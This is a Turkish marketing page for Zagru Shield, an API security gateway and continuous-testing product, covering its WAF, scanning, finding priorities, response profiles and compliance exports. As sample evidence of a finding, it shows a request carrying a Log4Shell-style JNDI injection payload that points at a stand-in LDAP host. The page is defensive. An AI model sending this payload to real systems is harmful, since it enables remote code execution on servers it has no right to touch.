İçeriğe geç
Zagru

Zagru ShieldAPI güvenliği, test ve müdahale

API'leriniz korunur, sizin seçtiğiniz kurallarla.

Shield, API'lerinizin önüne yalnızca geçerli ve izin verilen isteklerin geçtiği bir ağ geçidi koyar, onları bir saldırganın yapacağı gibi sürekli test eder; ciddi bir şey ortaya çıktığında tam olarak önceden karar verdiğiniz gibi davranır.

Demo talep etShield nasıl müdahale eder

Tek üründe üç iş

  1. 1Ağ geçidiAPI'lerinize yalnızca geçerli ve izin verilen istekler ulaşır.
  2. 2Sürekli testAPI'leriniz ve sistemleriniz, bir saldırganın yapacağı gibi, düzenli olarak test edilir.
  3. 3Sizin kurallarınızla müdahaleBir yolu kapatmak, bir yöneticiye sormak ya da yalnızca bildirmek — önceden kararlaştırılmış.

Ağ geçidi

Yalnızca geçerli ve izin verilen istekler geçer.

Shield Gateway her API'nin önünde çalışır — Zagru tarafından işletilir ya da kendi ağınızda durur. Zagru'nun kendi ürünlerini koruyan aynı teknoloji olan Envoy ve aynı imzalı politika paketleri üzerine kuruludur; kontrol merkezine ulaşamasa bile son doğrulanmış politikasıyla çalışmayı sürdürür.

  • OpenAPI'niz uygulanır

    Yolun şemasına uymayan istekler servisinize hiç ulaşmaz.

  • Kim arıyor

    JWT ve OIDC, API anahtarları ve mTLS daha kapıda kontrol edilir.

  • Size uygun sınırlar

    Anahtar, adres ve yol başına hız sınırları; istek boyutu ve yöntem sınırları.

  • OWASP kurallarıyla WAF

    OWASP Core Rule Set ile Coraza; her API için ayrı hassasiyet düzeyi, bot denetimi ve IP ile ülke izin ya da engel listeleri.

  • Önce izleyin, sonra uygulayın

    Her kural izleme modunda başlar; neyi engelleyeceğini, hiçbir şeyi engellemeden önce görürsünüz.

  • Yalnızca üst veri, asla içerik

    Shield istek üst verisinden öğrenir; istek ve yanıt gövdeleri saklanmaz.

Bu istek neden engellendi?

Engellenen her isteğin bir kaydı vardır: kural, isteğin eşleşen kısmı ve istek numarası. Zagru Sense bunu sade bir dille açıklayabilir.

İstek
POST /v2/orders · req 7f3c9a
Kural
OpenAPI şeması · /v2/orders
Eşleşen
body.quantity: "-5", 1'den büyük ya da eşit bir tam sayı değil
Mod
Uygulanıyor (7 gün izlendi, 0 yanlış alarm)

Envanter ve güvenlik skoru

Tüm API'leriniz — kimsenin listelemediği olanlar dahil.

Shield, API envanterinizi OpenAPI dosyalarından, ağ geçidi trafiğinden, Zagru Agent'tan ve doğrulanmış alan adlarınızdaki DNS ve sertifika taramasından oluşturur.

  • Gölge API'ler Trafikte görülen, ama hiçbir yerde tanımlanmamış olanlar.
  • Unutulmuş API'ler Kâğıt üzerinde kullanımdan kalkmış, ama hâlâ yanıt veren olanlar.
  • Şema sapması API'nin gerçekte yaptığı ile OpenAPI dosyasının söylediği arasındaki fark.

Güvenlik skoru

Her API ve tüm kuruluş için: kimlik doğrulama, şema kapsamı, açık bulgular, son testin ne kadar yeni olduğu, WAF modu — ve skoru yükseltecek adımlar.

  • /v2/orders için şema denetimini açın+6 puan
  • carrier-api üzerindeki WAF'ı uygulama moduna alın+4 puan
  • partner-api'yi yeniden test edin — son test 19 gün önce+3 puan

Shield'ı kendi API'lerinizden birinin önünde görmek ister misiniz?

Demo talep et

Sürekli test

Bir saldırganın yapacağı gibi test edilir. Yalnızca izin verilen yerde.

Shield, koruduğu API'leri ve size ait olduğunu kanıtladığınız her hedefi, belirlediğiniz takvimle test eder ve her sonucu bir bulguya dönüştürür.

Önce sizin olduğunu kanıtlayın

Herkese açık adlar: bir DNS TXT kaydı ya da /.well-known altında bir dosya.

_zagru-verify.api.example.com.  TXT
  "zagru-verification=8f2c1e9b"

İç ağlar: Zagru Agent ve kuruluşunuzun bir yöneticisinin imzaladığı kapsam. Kapsam dışındaki sunuculara asla dokunulmaz.

Neler çalışır

  • OWASP ZAPOturum açılmış taramalar dahil dinamik test
  • SchemathesisOpenAPI'nizden özellik tabanlı bulanık test
  • NucleiBilinen CVE'ler ve yanlış yapılandırmalar
  • TLS kontrolleriProtokoller, şifreler ve sertifikalar
  • KeşifAğ ve servis keşfi, yalnızca imzalı kapsam içinde

  • Tedarik zinciriniz de

    Ajandan gelen ya da sizin yüklediğiniz bir CycloneDX SBOM; OSV, GitHub Advisory, NVD ve CISA KEV kataloğuyla eşleştirilir, EPSS skorları eklenir. Yanıtlar ve bağlı depolar sızdırılmış gizli bilgilere karşı kontrol edilir.

  • Sizin takviminizle

    Günlük, haftalık ya da her yayında. Hız sınırları ve zaman aralıkları kapsamdan gelir. Güvenli mod, bir yönetici bir test ortamı için açmadıkça yıkıcı kontrolleri dışarıda bırakır.

  • Hedefe yakın

    Herkese açık hedefler Zagru'nun işlettiği test makinelerinden, iç hedefler ağınızdaki ajandan test edilir.

Bulgular ve öncelik

Her sonuç sıralanır ve bir süreyle gelir.

Her bulgu CVSS, EPSS, KEV kataloğu, API'nin ne kadar açık olduğu ve işiniz için ne kadar kritik olduğuyla puanlanır; ayarlayabileceğiniz bir çözüm süresiyle dört öncelikten birine yerleşir.

  • P124 saat
  • P27 gün
  • P330 gün
  • P490 gün

Bulgular görünümü önceliğe, API'ye, türe ve yaşa göre gruplar; eğilimi ve süresi dolmak üzere olanları gösterir.

Sorunu yeniden üreten istek

POST /v2/imports HTTP/1.1
Host: api.example.com
Authorization: Bearer ••••••••••••
Content-Type: application/json

{"template": "${jndi:ldap://203.0.113.9/a}"}

Kanıt, sorunu yeniden üreten isteği içerir; gizli bilgiler maskelenmiş olarak.

Sizin kurallarınızla müdahale

Siz önceden karar verirsiniz. Shield tam olarak onu yapar.

Ciddi bir şey bulunduğunda Shield sizin seçtiğiniz bir karar tablosunu izler: sorunun türü, ne kadar ciddi olduğu ve API'nin ne kadar kritik olduğu; Shield'ın kendisi mi harekete geçeceğini, bir yöneticiye mi soracağını, yoksa yalnızca size mi haber vereceğini belirler. Kurallar deterministiktir, sürümlenir ve her seferinde aynı sonucu verir; bir engellemeye yapay zekâ asla karar vermez.

Bir profil seçin — ya da kendi tablonuzu yazın

  • Sıkı

    Varsayılan

    Acil olanı ve internete açık olanı hemen kapatır. Gerisini size sorar.

    • OtomatikAcil ve internetten erişilebilir (örneğin uzaktan kod çalıştırma ya da veri sızıntısı): etkilenen yol otomatik olarak kapanır ya da test edilmiş bir sanal yama uygulanır.
    • OtomatikSüren bir saldırı: saldıran adresler engellenir ve sınırlar otomatik olarak sıkılaştırılır.
    • Önce sorarBaşka yerde acil ya da kritik: Shield yapılacak işlemi önerir ve bir yöneticinin onayını bekler.
    • BildirirYüksek ve altı: size haber verilir.

  • Esnek

    Daha otomatik

    Yüksek önem derecesinden itibaren kendisi harekete geçer; daha az şey bir kişiyi bekler.

    • OtomatikAcil ya da kritik: otomatik olarak sanal yama uygulanır ya da yol kapanır.
    • OtomatikYüksek ve internetten erişilebilir: otomatik olarak sanal yama ya da daha sıkı bir hız sınırı.
    • OtomatikSüren bir saldırı: saldıran adresler otomatik olarak engellenir.
    • Önce sorarBaşka yerde yüksek: Shield bir yöneticiye sorar. Diğer her şey: size haber verilir.

  • Yalnızca bildir

    Kontrol sizde

    Shield trafiği kendiliğinden asla değiştirmez. Her bulgu bir bildirim ve bir öneri olur.

    • BildirirHer kural yalnızca bildirir. Herhangi bir işlemi tek tıkla kendiniz uygularsınız.

  • API başına seçim

    Bir API'ye başka bir profil ya da aynı sütunlarla kendi tablosunu verin.

  • Kritik API koruması

    Görev açısından kritik olarak işaretlenen bir API hiçbir zaman otomatik olarak bütünüyle kapatılmaz; Shield bunun yerine sorar.

  • Bütün API değil, yol

    Hazır profiller yalnızca etkilenen yolu kapatır; bütün bir API'yi kapatmak için bunu açıkça söyleyen bir kural gerekir.

  • Bakım pencereleri

    Bir bakım penceresi sırasında otomatik işlemler onaya dönüşür.

Sonra ne olur

  1. 1Shield planı gösterirHiçbir şey olmadan önce her bulgu, Shield'ın ne yapacağını ve hangi kuralın eşleştiğini gösterir.
  2. 2E-postayla ve uygulamada onayYöneticiler ve API'nin ekibi bir e-posta ya da anlık bildirim alır; bağlantı, oturum açıldıktan sonra onay ekranını açar.
  3. 3Süreli olarak yayındaİşlem ağ geçidine imzalı bir paket olarak gönderilir ve yenilenmezse 24 saat sonra sona erer.
  4. 4Tek tıkla geri almaYetkili herkes işlemi anında kaldırabilir; yeniden test çözümü gösterdiğinde Shield da kendisi kaldırır.
  5. 5Her şey kayıt altındaHer adım denetim kaydındadır: kim, hangi kural, hangi paket.

Shield'ı kendi API'lerinizden birinin önünde görmek ister misiniz?

Demo talep et

Güvenlik açığı bildirimi

Biri bir açık bildirdiğinde Shield hemen işe koyulur.

Bir güvenlik iletişim adresi — Shield /.well-known/security.txt dosyanızı oluşturur — ve bir bildirim formu yayımlayın. Bir bildirim ya da SBOM'unuzla eşleşen yeni bir güvenlik duyurusu aynı özenli süreci başlatır.

# https://example.com/.well-known/security.txt
Contact: https://example.com/security/report
Contact: mailto:security@example.com
Expires: 2027-11-01T00:00:00Z
Policy: https://example.com/security/policy
Preferred-Languages: tr, en
  1. 1Ön değerlendirmeBildirim bir bulguya dönüşür.
  2. 2KapsamHangi API'lerin ve sürümlerin etkilendiği, envanterinizden ve SBOM'unuzdan.
  3. 3DoğrulamaHedefli bir test sorunu doğrular.
  4. 4ÖnceliklendirmePuanlama P1 ile P4 arasını belirler.
  5. 5MüdahaleKurallarınız uygulanır — örneğin Sıkı profilde, internete açık acil bir uzaktan kod çalıştırma açığı yolu otomatik olarak kapatır.

Düzeltilir, yeniden test edilir, kaldırılır.

  • Zagru ürünlerinde

    Bulguyu Zagru Platform'a gönderin. Çözüm yayına çıktığında Shield yeniden test eder ve geçici işlemi kendisi kaldırır.

  • Diğer tüm yazılımlarda

    Açık bir rapor, Jira, GitHub ya da GitLab'de bir kayıt ve istediğiniz zaman yeniden test. Zagru, çalıştırmadığı yazılımın kodunu değiştirmez.

Uyum kanıtları

Denetçilerinizin istediği kanıtlar, dışa aktarılmaya hazır.

Test takvimleri ve sonuçları, WAF kapsamı, bulguların ne kadar hızlı ele alındığı ve tam denetim kaydı — raporladığınız çerçevelere eşlenmiş olarak, PDF ya da CSV. Değerlendirmenin kendisi denetçilerinizde kalır.

  • ISO 27001 Ek A
  • KVKK teknik tedbirler
  • PCI DSS 6.4 ve 11.3
  • OWASP API Security Top 10
Kanıt paketi · 3. çeyrek
  • Test takvimi ve sonuçları
  • API başına WAF kapsamı
  • Önceliğe göre müdahale süresi
  • Denetim kaydı

Sürümler

Shield'ı size uygun şekilde çalıştırın.

  • Shield SaaS

    Ağ geçidini Zagru işletir; DNS kaydınızı (CNAME) ona yönlendirirsiniz.

    API sayısı ve istek hacmine göre fiyatlanır

  • Shield Self-hosted

    Ağ geçidini Helm ya da Docker ile, Zagru Agent'la birlikte kendiniz çalıştırırsınız; kontrol merkezi Zagru'nun bulutunda ya da sizde.

    Ağ geçidi düğümü ve API sayısına göre fiyatlanır

  • Shield Scan

    Ağ geçidi olmadan: yalnızca sürekli test, SBOM ve bulgular.

    Doğrulanmış hedef sayısına göre fiyatlanır

Modüller

  • Ağ geçidi
  • WAF
  • Test
  • SBOM
  • Keşif
  • Müdahale kuralları
  • Uyum

Shield ve Zagru Pulse aynı Zagru Agent'ı kullanır. Yalnızca ihtiyacınız olan ürünü alırsınız; diğerini daha sonra, yeni bir şey kurmadan eklersiniz.

Sık sorulanlar

Bize en sık sorulan sorular.

Shield isteklerin yolunda mı duruyor?

Shield Gateway evet — yalnızca geçerli ve izin verilen isteklerin geçmesini bu şekilde sağlar. Son doğrulanmış politikasının yerel kopyasıyla çalışır; kontrol merkezine ulaşamasa bile çalışmayı sürdürür. Shield Scan'de ise hiç ağ geçidi yoktur.

Shield API'lerimizden birini bize sormadan kapatabilir mi?

Yalnızca kurallarınız öyle diyorsa. Bir profil seçersiniz — Sıkı, Esnek ya da Yalnızca bildir — ya da kendi tablonuzu yazarsınız. Hazır profiller bütün API'yi değil yalnızca etkilenen yolu kapatır, görev açısından kritik bir API'yi asla kendiliğinden bütünüyle kapatmaz; her otomatik işlemin bir süresi vardır ve tek tıkla geri alınabilir.

Neyin engelleneceğine yapay zekâ mı karar veriyor?

Hayır. Her karar deterministik, sürümlenen bir tabloyu izler ve eşleşen kuralı kaydeder. Yapay zekâ bir bulguyu ya da engellenen bir isteği sade bir dille açıklamaya yardım edebilir.

Shield neleri test edebilir?

Koruduğu API'leri ve size ait olduğunu kanıtladığınız her hedefi: herkese açık adlar için bir DNS TXT kaydı ya da well-known dosyası, iç ağlar için Zagru Agent ve yöneticinizin imzaladığı bir kapsam. Kapsam dışındaki hiçbir şeye dokunulmaz.

Engelleme moduyla mı başlamamız gerekiyor?

Hayır. Her kural izleme modunda başlar; neyi engelleyeceğini görürsünüz. Kendinizi hazır hissettiğinizde uygulama moduna alırsınız.

Shield bizi mevzuata uyumlu hâle getirir mi?

Shield denetçilerin istediği kanıtları toplar — test sonuçları, WAF kapsamı, müdahale süreleri ve denetim kaydı — ve bunları ISO 27001 Ek A, KVKK teknik tedbirleri, PCI DSS 6.4 ve 11.3 ile OWASP API Top 10'a eşler. Değerlendirmenin kendisi denetçilerinizde kalır.

Kendimiz çalıştırabilir miyiz?

Evet. Shield Self-hosted, ağ geçidini ağınızda Helm ya da Docker ile, Zagru Agent'ın yanında çalıştırır; kontrol merkezi Zagru'nun bulutunda ya da sizde olabilir.

Shield'ı bir API'nin önüne koyun ve farkı görün.

API'lerinizi anlatın; izleme moduyla başlayalım ve Shield'ın neler bulduğunu ve ne yapacağını birlikte görelim.

  • Ürünü yapan ekiple 30 dakikalık tanışma
  • Kendi ürün ve akışlarınızla demo
  • Taahhüt yok, satış baskısı yok
hello@zagru.com

Kendi verinizle demo alın

Bilgilerinizi bırakın, en kısa sürede dönüş yapalım.

Daha fazla anlatmak ister misiniz? Tam formu açın

Demo talep et